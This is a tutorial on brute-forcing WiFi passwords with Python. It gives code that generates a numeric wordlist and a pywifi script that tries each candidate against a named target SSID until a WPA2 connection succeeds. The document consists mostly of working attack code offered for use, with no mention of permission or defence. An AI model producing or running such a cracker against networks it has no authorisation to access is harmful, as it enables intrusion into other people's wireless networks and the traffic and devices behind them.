Automating WiFi Password Cracking with Python
This process requires the pywifi library. Install it via pip install pywifi. A wireless network adapter is necessary for the script to function.
Generating a Password Dictionary
A password dictionary, or wordlist, contains potential passwords for brute-force attempts. The itertools module can generate simple dictionaries. While itertools is part of Python's standard library, the concept is to create combinations of characters.
Define a string of characters to use. For demonstration, we use only digits to keep the dictionary small.
import itertools
char_set = "0123456789"
password_length = 4
combinations = itertools.product(char_set, repeat=password_length)
with open("wordlist.txt", "w") as f:
for combo in combinations:
f.write("".join(combo) + "\n")
print("Wordlist generated.")
Generating longer passwords significantly increases file size and generation time. Pre-compiled wordlists are often dwonloaded for practical use.
Implementing the Brute-Force Attack
The core script attempts to connect to a target WiFi network using passwords from the dictionary.
First, import the necessary modules and define a connection function.
import pywifi
from pywifi import const
import time
def attempt_connection(password_str):
"""Attempts to connect to a WiFi network with a given password."""
wifi_obj = pywifi.PyWiFi()
# Assumes the first wireless interface is the target
iface = wifi_obj.interfaces()[0]
# Ensure the interface is disconnected before a new attempt
iface.disconnect()
time.sleep(1)
if iface.status() == const.IFACE_DISCONNECTED:
# Create a new profile for the target network
profile = pywifi.Profile()
profile.ssid = "TargetNetworkName" # Set the target SSID
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK) # Common for WPA2-Personal
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password_str.strip() # Assign the password from the list
# Remove old profiles and add the new one
iface.remove_all_network_profiles()
temp_profile = iface.add_network_profile(profile)
iface.connect(temp_profile)
time.sleep(3) # Wait for connection attempt
return iface.status() == const.IFACE_CONNECTED
else:
print("Interface is not ready (already connected?).")
return False
Next, create the main function to read the wordlist and test each password.
def crack_wifi_password():
wordlist_path = "./wordlist.txt"
try:
with open(wordlist_path, "r") as file:
for line in file:
pwd_candidate = line.strip()
print(f"Trying: {pwd_candidate}")
if attempt_connection(pwd_candidate):
print(f"SUCCESS! Password found: {pwd_candidate}")
return
else:
continue
except FileNotFoundError:
print(f"Wordlist file not found at {wordlist_path}")
except Exception as e:
print(f"An error occurred: {e}")
print("Password not found in the provided wordlist.")
if __name__ == "__main__":
crack_wifi_password()
The script itterates through the wordlist, attempting a connection with each password. A successful connection status indicates the correct password has been found. This method's effectiveness depends entire on the target password being present in the used wordlist. The process is computationally intensive and time-consuming for large dictionaries.